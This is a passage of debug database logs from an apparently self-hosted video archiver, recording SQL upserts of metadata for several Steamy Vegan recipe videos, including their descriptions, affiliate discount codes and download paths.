s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.484 [debug] QUERY OK source="media_items" db=2.2ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-14 00:00:00Z], 1] 20:31:06.487 [debug] QUERY OK source="media_items" db=1.6ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've been making this high-protein pasta all Fall long so I thought I'd share this delicious butternut squash pasta recipe with you. It's the perfect comfort recipe, is vegan, can be made gluten-free with GF pasta noodles, and best of all it's so filling as it has 26g of protein per serving. Hope you enjoy!\n\nHIGH-PROTEIN BUTTERNUT SQUASH PASTA RECIPE on my blog ➡️ https://steamyvegan.com/butternut-squ...\n\nSubscribe to the Steamy Vegan YouTube Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. Protein Apple Crumble: \u00A0\u00A0\u00A0•\u00A0An\u00A0Apple\u00A0Crumble\u00A0Recipe\u00A0That's\u00A0High\u00A0in\u00A0Pro...\u00A0\u00A0\n3. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n4. Yellow Thai Curry Casserole and Scarpariello Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING💚\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nMy Favourite Protein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "The butternut squash pasta I've been making all fall 🍁 (high protein pasta)", "30f35f41-66c5-4810-8365-d8ccf19b57ae", 1, [], false, "Zc7hp7tDX7M", "https://www.youtube.com/watch?v=Zc7hp7tDX7M", 48, "/downloads/downloads/alec/Steamy Vegan/2025-10-14 The butternut squash pasta I've been making all fall 🍁 (high protein pasta)/The butternut squash pasta I've been making all fall 🍁 (high protein pasta) [Zc7hp7tDX7M].NA", false, false, false, 1, ~U[2025-10-14 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "I've been making this high-protein pasta all Fall long so I thought I'd share this delicious butternut squash pasta recipe with you. It's the perfect comfort recipe, is vegan, can be made gluten-free with GF pasta noodles, and best of all it's so filling as it has 26g of protein per serving. Hope you enjoy!\n\nHIGH-PROTEIN BUTTERNUT SQUASH PASTA RECIPE on my blog ➡️ https://steamyvegan.com/butternut-squ...\n\nSubscribe to the Steamy Vegan YouTube Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. Protein Apple Crumble: \u00A0\u00A0\u00A0•\u00A0An\u00A0Apple\u00A0Crumble\u00A0Recipe\u00A0That's\u00A0High\u00A0in\u00A0Pro...\u00A0\u00A0\n3. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n4. Yellow Thai Curry Casserole and Scarpariello Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING💚\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nMy Favourite Protein Powders That I Use Everyday = Complete Coffee by Sprout Living - 20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nFor My Canadian Friends Check Out Good Protein: 30% off your first purchase (Available only in 🇨🇦) - I love Mint Chocolate\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Everyday ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "The butternut squash pasta I've been making all fall 🍁 (high protein pasta)", 1, nil, false, "Zc7hp7tDX7M", "https://www.youtube.com/watch?v=Zc7hp7tDX7M", "/downloads/downloads/alec/Steamy Vegan/2025-10-14 The butternut squash pasta I've been making all fall 🍁 (high protein pasta)/The butternut squash pasta I've been making all fall 🍁 (high protein pasta) [Zc7hp7tDX7M].NA", false, ~U[2025-10-14 00:00:00Z]] 20:31:06.488 [debug] QUERY OK source="sources" db=0.7ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.490 [debug] QUERY OK source="media_items" db=1.9ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-12 00:00:00Z], 1] 20:31:06.493 [debug] QUERY OK source="media_items" db=1.5ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Subscribe to the Steamy Vegan YouTube Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThis protein apple crumble recipe has 15g of protein per serving, is gluten-free, vegan, and best of all the perfect cozy dessert for Fall. This is a classic vegan recipe I've been making for almost a decade that uses my protein cereal recipe as the crumble topping. Hope you enjoy this apple crumble! 🍎\n\nHIGH-PROTEIN APPLE CRUMBLE RECIPE ON THE BLOG ➡️ https://steamyvegan.com/high-protein-...\n\nProtein Powders I'd Recommend for This Recipe:\n1. Complement Protein Powder - Vanilla: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n2. 20% off at Sprout Living - Vanilla Lucuma (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\n3. For Canadian Residents - Good Protein - Vanilla: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. 3 Casseroles incl. Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n3. Homemade Sausages: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n4. Tofu Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n5. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n\n💚 OTHER PRODUCTS I LOVE USING💚\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "An Apple Crumble Recipe That's High in Protein, Vegan and Gluten-Free?! 🍎🍏", "9d6585b8-5080-4d9f-b3b9-c96be104ce61", 1, [], false, "e28loc3BgKo", "https://www.youtube.com/watch?v=e28loc3BgKo", 49, "/downloads/downloads/alec/Steamy Vegan/2025-10-12 An Apple Crumble Recipe That's High in Protein, Vegan and Gluten-Free?! 🍎🍏/An Apple Crumble Recipe That's High in Protein, Vegan and Gluten-Free?! 🍎🍏 [e28loc3BgKo].NA", false, false, false, 1, ~U[2025-10-12 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Subscribe to the Steamy Vegan YouTube Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\nThis protein apple crumble recipe has 15g of protein per serving, is gluten-free, vegan, and best of all the perfect cozy dessert for Fall. This is a classic vegan recipe I've been making for almost a decade that uses my protein cereal recipe as the crumble topping. Hope you enjoy this apple crumble! 🍎\n\nHIGH-PROTEIN APPLE CRUMBLE RECIPE ON THE BLOG ➡️ https://steamyvegan.com/high-protein-...\n\nProtein Powders I'd Recommend for This Recipe:\n1. Complement Protein Powder - Vanilla: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n2. 20% off at Sprout Living - Vanilla Lucuma (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\n3. For Canadian Residents - Good Protein - Vanilla: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. 3 Casseroles incl. Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n3. Homemade Sausages: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n4. Tofu Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n5. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n\n💚 OTHER PRODUCTS I LOVE USING💚\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "An Apple Crumble Recipe That's High in Protein, Vegan and Gluten-Free?! 🍎🍏", 1, nil, false, "e28loc3BgKo", "https://www.youtube.com/watch?v=e28loc3BgKo", "/downloads/downloads/alec/Steamy Vegan/2025-10-12 An Apple Crumble Recipe That's High in Protein, Vegan and Gluten-Free?! 🍎🍏/An Apple Crumble Recipe That's High in Protein, Vegan and Gluten-Free?! 🍎🍏 [e28loc3BgKo].NA", false, ~U[2025-10-12 00:00:00Z]] 20:31:06.493 [debug] QUERY OK source="sources" db=0.7ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.496 [debug] QUERY OK source="media_items" db=1.9ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-09 00:00:00Z], 1] 20:31:06.498 [debug] QUERY OK source="media_items" db=1.5ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm showing you how to make 2 healthy dump and bake vegan casserole recipes that are gluten-free, high-protein, low calorie and so delicious! Great for meal prep, easy to to make and made with whole food plant based ingredients. Each recipe is roughly 25g of protein and under 550 calories making these the perfect vegan recipes for anyone on a weight loss diet or wanting to build muscle!\n\nSubscribe to the Steamy Vegan YouTube Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n✨GET THE DUMP AND BAKE RECIPES ON MY BLOG! ✨\nScarpariello Casserole recipe ➡️ https://steamyvegan.com/scarpariello-...\nYellow Thai Curry Casserole ➡️ https://steamyvegan.com/yellow-thai-c...\n\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. 3 More Casseroles incl. Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n3. Homemade Sausages: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n4. Tofu Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n5. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 Healthy DUMP AND BAKE Vegan Casserole Recipes! (Gluten-Free)", "1db75a0f-8f5a-465b-b94e-010005b37f6b", 1, [], false, "8VlaQgd_tVk", "https://www.youtube.com/watch?v=8VlaQgd_tVk", 50, "/downloads/downloads/alec/Steamy Vegan/2025-10-09 2 Healthy DUMP AND BAKE Vegan Casserole Recipes! (Gluten-Free)/2 Healthy DUMP AND BAKE Vegan Casserole Recipes! (Gluten-Free) [8VlaQgd_tVk].NA", false, false, false, 1, ~U[2025-10-09 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this video I'm showing you how to make 2 healthy dump and bake vegan casserole recipes that are gluten-free, high-protein, low calorie and so delicious! Great for meal prep, easy to to make and made with whole food plant based ingredients. Each recipe is roughly 25g of protein and under 550 calories making these the perfect vegan recipes for anyone on a weight loss diet or wanting to build muscle!\n\nSubscribe to the Steamy Vegan YouTube Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n✨GET THE DUMP AND BAKE RECIPES ON MY BLOG! ✨\nScarpariello Casserole recipe ➡️ https://steamyvegan.com/scarpariello-...\nYellow Thai Curry Casserole ➡️ https://steamyvegan.com/yellow-thai-c...\n\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. 3 More Casseroles incl. Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n3. Homemade Sausages: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n4. Tofu Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n5. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 Healthy DUMP AND BAKE Vegan Casserole Recipes! (Gluten-Free)", 1, nil, false, "8VlaQgd_tVk", "https://www.youtube.com/watch?v=8VlaQgd_tVk", "/downloads/downloads/alec/Steamy Vegan/2025-10-09 2 Healthy DUMP AND BAKE Vegan Casserole Recipes! (Gluten-Free)/2 Healthy DUMP AND BAKE Vegan Casserole Recipes! (Gluten-Free) [8VlaQgd_tVk].NA", false, ~U[2025-10-09 00:00:00Z]] 20:31:06.499 [debug] QUERY OK source="sources" db=1.0ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.502 [debug] QUERY OK source="media_items" db=2.3ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-07 00:00:00Z], 1] 20:31:06.508 [debug] QUERY OK source="media_items" db=5.8ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join me as I show you how to meal prep one of my go-to high protein vegan meals! This sheet pan dinner is healthy, high protein and plant-based, and so delicious! If you love roasted root veggies you're really going to enjoy this high-protein sheet pan meal prep that tastes like autumn in a bowl.\n\nJoin the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n4. Tofu Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n5. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "High protein sheet pan meal prep! My go-to healthy dinner 🌱", "4797f973-5f09-48e8-9ee2-5fe42eca7ebc", 1, [], false, "-EHQsPIc4Po", "https://www.youtube.com/watch?v=-EHQsPIc4Po", 51, "/downloads/downloads/alec/Steamy Vegan/2025-10-07 High protein sheet pan meal prep! My go-to healthy dinner 🌱/High protein sheet pan meal prep! My go-to healthy dinner 🌱 [-EHQsPIc4Po].NA", false, false, false, 1, ~U[2025-10-07 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join me as I show you how to meal prep one of my go-to high protein vegan meals! This sheet pan dinner is healthy, high protein and plant-based, and so delicious! If you love roasted root veggies you're really going to enjoy this high-protein sheet pan meal prep that tastes like autumn in a bowl.\n\nJoin the Steamy Vegan Community Here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nOther Cozy Fall Recipes to Check Out:\n1. Lasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\n2. Protein Cookies: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Protein\u00A0Cookies\u00A0(dairy-free\u00A0and\u00A0g...\u00A0\u00A0\n3. Homemade Sausage: \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\n4. Tofu Noodle Bowl: \u00A0\u00A0\u00A0•\u00A0THIS\u00A0is\u00A0one\u00A0of\u00A0my\u00A0new\u00A0favourite\u00A0high\u00A0prote...\u00A0\u00A0\n5. Curried Butternut Squash Soup: \u00A0\u00A0\u00A0•\u00A0The\u00A0Butternut\u00A0Squash\u00A0Soup\u00A0You\u00A0NEED\u00A0to\u00A0Make...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nComplement Protein Powder: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "High protein sheet pan meal prep! My go-to healthy dinner 🌱", 1, nil, false, "-EHQsPIc4Po", 